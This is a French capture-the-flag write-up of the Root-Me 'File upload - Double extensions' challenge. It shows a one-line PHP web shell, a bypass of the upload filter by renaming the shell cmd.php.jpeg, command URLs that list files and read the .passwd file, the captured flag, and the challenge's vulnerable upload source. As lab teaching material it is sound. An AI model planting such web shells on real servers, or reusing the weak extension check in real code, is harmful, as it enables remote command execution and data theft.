Aller au contenu

File upload Double extensions

Liste CTF

Analyse du site

  • Galerie d'upload
  • Fichier uniquement en GIF, JPEG or PNG
  • "Wrong file" losque ce n'est pas un fichier autorisé

Analyse

Création d'un fichier PHP cmd.php:

<?php
system($_GET['cmd']);
?>

Tentative d'upload :

wrong_file.png

Si on observe les requêtes HTTP, on peut retrouver essayer de modifier les MIME mais sans succés.

Compromission

Modification du nom du fichier en faisant une double extension avec une extension autorisée : cmd.php.jpeg.

upload_double.png

Une fois l'image ouverte, entré le paramètre php ?cmd=, puis les commandes voulu :

http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/1c7691077dbaf54cc865fa00d782b171/cmd.php.png?cmd=ls

upload_php_double.png

Il ne reste plus qu'a naviguer jusqu'au fichier recherché :

http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/1c7691077dbaf54cc865fa00d782b171/cmd.php.png?cmd=cat ../.passwd

flag_double.png

Nous trouvons le flag qui est le suivant : Gg9LRz-hWSxqqUKd77-_q-6G8.

Code source

<?php
// File upload : double extensions
session_start();

$GALERIE_DIR = 'galerie';
$WWW_DIR     = './galerie/upload/' . session_id() . '/';
$UPLOAD_DIR  = getcwd() . '/' . $WWW_DIR;

$aff= '<html><body><h1>Photo gallery v 0.02</h1><span id="menu"/>';

if (isset($_GET["galerie"]) &&
        preg_match("/^[a-z]+$/", $_GET["galerie"]) &&
        file_exists($GALERIE_DIR."/".$_GET["galerie"]))
    $galerie = $_GET["galerie"];
else
    $galerie = "apps";


if (file_exists($GALERIE_DIR)) {
    $d = opendir($GALERIE_DIR);
    while ($file = readdir($d)) {
        if ($file[0] == ".") { }
        else {
            $aff .= "&nbsp;|&nbsp;<span><a href='?galerie=$file'>";
            if ($file == $galerie)
                $aff .= "<b>$file</b>";
            else
                $aff .= "$file";
            $aff .= "</a></span>";
        }
    }
    $aff .= "<br><hr>";
    closedir($d);
}


if (isset($_GET["action"]))
    $action = $_GET["action"];
else
    $action = "view";

if ($action == "view") {

    if (isset($galerie)) {
        if ($galerie == "upload") {
            $path = $WWW_DIR;
        } else {
            $path = $GALERIE_DIR . '/' . $galerie;
        }

        if (file_exists($path)) {
            $aff .= '<table id="content"><tr>';
            $d = opendir($path);
            $i = 0;
            while ($file = readdir($d)) {
                if ($file[0] == ".") { }
                else {
                    $aff .= "<td><a href='$path/$file'><img width=64px height=64px src='$path/$file?preview' alt='$file'></a></td>";
                    $i = $i+1;
                }

                if ($i%4 == 0)
                    $aff .= "</tr><tr>";
            }
            $aff .= '</tr></table>';
        }

        if ($galerie == "upload") {
            $aff .= '<br><p><a href="?action=upload">Upload</a> your photo !</p>';
        }
    }

} else if ($action == "upload") {

    if (isset($_FILES["file"])) {
        $allowedExts = array("jpg", "jpeg", "gif", "png");
        $a = explode(".", $_FILES["file"]["name"]); // Strict Standards: Only variables should be passed by reference
        $extension = end($a);

        if (($_FILES["file"]["size"] < 100000)) {
            if (in_array($extension, $allowedExts)) {
                if (! file_exists($UPLOAD_DIR)) {
                    mkdir($UPLOAD_DIR, 0750);
                }

                $aff .= "File information&nbsp;:<br><ul>";
                if ($_FILES["file"]["error"] > 0) {
                    $aff .= "<ul>";
                    $aff .= "<li>Error: " . $_FILES["file"]["error"] . "</li>";
                } else {
                    $aff .= "<li>Upload: " . $_FILES["file"]["name"] . "</li>";
                    $aff .= "<li>Type: " . $_FILES["file"]["type"] . "</li>";
                    $aff .= "<li>Size: " . ($_FILES["file"]["size"] / 1024) . " kB</li>";
                    $aff .= "<li>Stored in: <a href='". $WWW_DIR . $_FILES["file"]["name"] ."'>" . $WWW_DIR . $_FILES["file"]["name"] ."</a></li>";
                }
                $aff .= "</ul>";


                if (move_uploaded_file($_FILES["file"]["tmp_name"], $UPLOAD_DIR."/".$_FILES["file"]["name"])) {
                    $aff .= "<p style='color: green'>File uploaded</p>";
                } else {
                    $aff .= "<p style='color: red'>Error during upload</p>";
                }
            } else {
                $aff .= "<p style='color: red'>Wrong file extension !</p>";
            }
        } else {
                $aff .= "<p style='color: red'>File size too big !</p>";
        }
    } else {
        $aff .= "<p><b>Upload your photo</b></p>";
        $aff .= "<form method=post enctype='multipart/form-data'>";
        $aff .= "<input type=file name=file />";
        $aff .= "<input type=submit value=upload />";
        $aff .= "</form>";
        $aff .= "<br><br><i>NB : only .gif, .jpeg and .png are accepted</i>";
    }
}

$aff .= "</body></html>";
echo $aff;